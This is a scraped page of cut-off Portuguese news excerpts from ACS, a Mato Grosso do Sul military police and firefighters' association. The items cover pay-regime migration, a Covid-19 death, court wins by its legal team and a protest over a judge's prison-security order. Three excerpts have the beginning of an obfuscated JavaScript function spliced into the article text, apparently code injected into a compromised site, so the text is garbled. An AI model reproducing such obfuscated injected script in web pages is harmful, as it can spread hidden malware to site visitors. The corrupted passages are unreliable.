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A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), prezando pela transparência de suas atividades, e em virtude da veiculação de informações equivocadas sobre as providências adotadas para garantir aos militares a migração de regime remuneratório instituído pela Lei Complementar n° 127 de 2008, vem esclarecer aos seus associados que: i) não contratou assessoria jurídica para adotar medidas administrativas e judiciais, visando a migração de regime remuneratório pretendida por alguns militares; ii) a contratação da assessoria jurídica foi realizada pelos próprios associados; iii) a Associação, sensibilizada pela situação dos seus associados, que mesmo após a aprovação da Lei Complementar 256/2018, tiveram seus requerimentos de migração ...

É com pesar que a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) informa o falecimento do 2º SGT PM Marcos Antônio Pezzolante Júnior, ocorrido nesta segunda-feira (04). O militar, mais uma vítima da Covid-19, ingressou nas fileiras da Polícia Militar em 10 de agosto de 1998 e atuou em diversas unidades, onde prestou relevantes serviços à sociedade sul-mato-grossense. Ele estava lotado na 6ª Companhia, em Campo Grande. Rogamos a Deus para que conforte seus amigos e familiares neste momento de dor e tristeza, e receba nosso companheiro em um bom lugar ao seu lado. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];retu...

A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu na Justiça que uma associada fosse reenquadrada de nível. A policial, atualmente 2º Tenente QOPM da Polícia Militar, ingressou como aluna-soldado no ano de 2008, sendo promovida através de concurso público a categoria de aluna-oficial PM em abril de 2014. Portanto, conforme decisão da Justiça, ela detém o direito ao quinquênio de exercício de função, bem como a diferença salarial que recebera a menor quando da assunção ao posto atual. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}fun...

Após atuação da assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) – Regional de Ponta Porã, o Juizado especial da Fazenda Púbica de Campo Grande reconheceu o direito de dois sócios em ações de cobrança ordinária por atraso na aposentadoria. Concluiu-se que houve omissão do Poder Público, que, injustificadamente, retardou o andamento do processo administrativo que visava a concessão da aposentadoria dos autores, resultando em um demasiado excesso de tempo no tramite para conclusão de seus pedidos, justificando o acolhimento de sua pretensão. Assessoria de Imprensa da ACS -- ACS: Gestão presente, solidária e participativa function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x302...

O TJMS (Tribunal de Justiça de Mato Grosso do Sul) confirmou a decisão de primeira instância que havia determinado ao Estado o pagamento de diferença de atualização de licença prêmio de um associado. A defesa do policial militar foi feita pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). O autor teve sua licença prêmio paga parceladamente pelo Estado, porém, sem as devidas correções em cada parcela. Ele, então, entrou com pedido de pagamento dessas diferenças de atualização. Em primeiro grau, o processo foi julgado procedente, tendo o Estado recorrido da decisão. Agora, o TJ, de maneira unânime, entendeu que a sentença está correta. Jeozadaque Garcia Assessoria de Imprensa da ACS -- ACS: Gestão presente,...

A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vem a público repudiar, de maneira veemente, a decisão do Juiz de Direito em substituição da 3ª Vara Criminal de Dourados, Dr. Marcus Vinícius de Oliveira Elias, que determinou à Polícia Militar que reassuma segurança externa da PED (Penitenciária Estadual de Dourados). Tal decisão, além de contrariar frontalmente artigos dispostos na Constituição Federal, prejudica a comunidade de Dourados, que, não bastasse o baixo efetivo de policiais militares, ainda enfrenta um aumento na criminalidade naquela região. O Art. 144 da nossa Carta Magna, com redação dada pela Emenda Constitucional nº 104/2019, é explícito: “Às polícias penais, vinculadas ao órgão administrador do sistema penal da unida...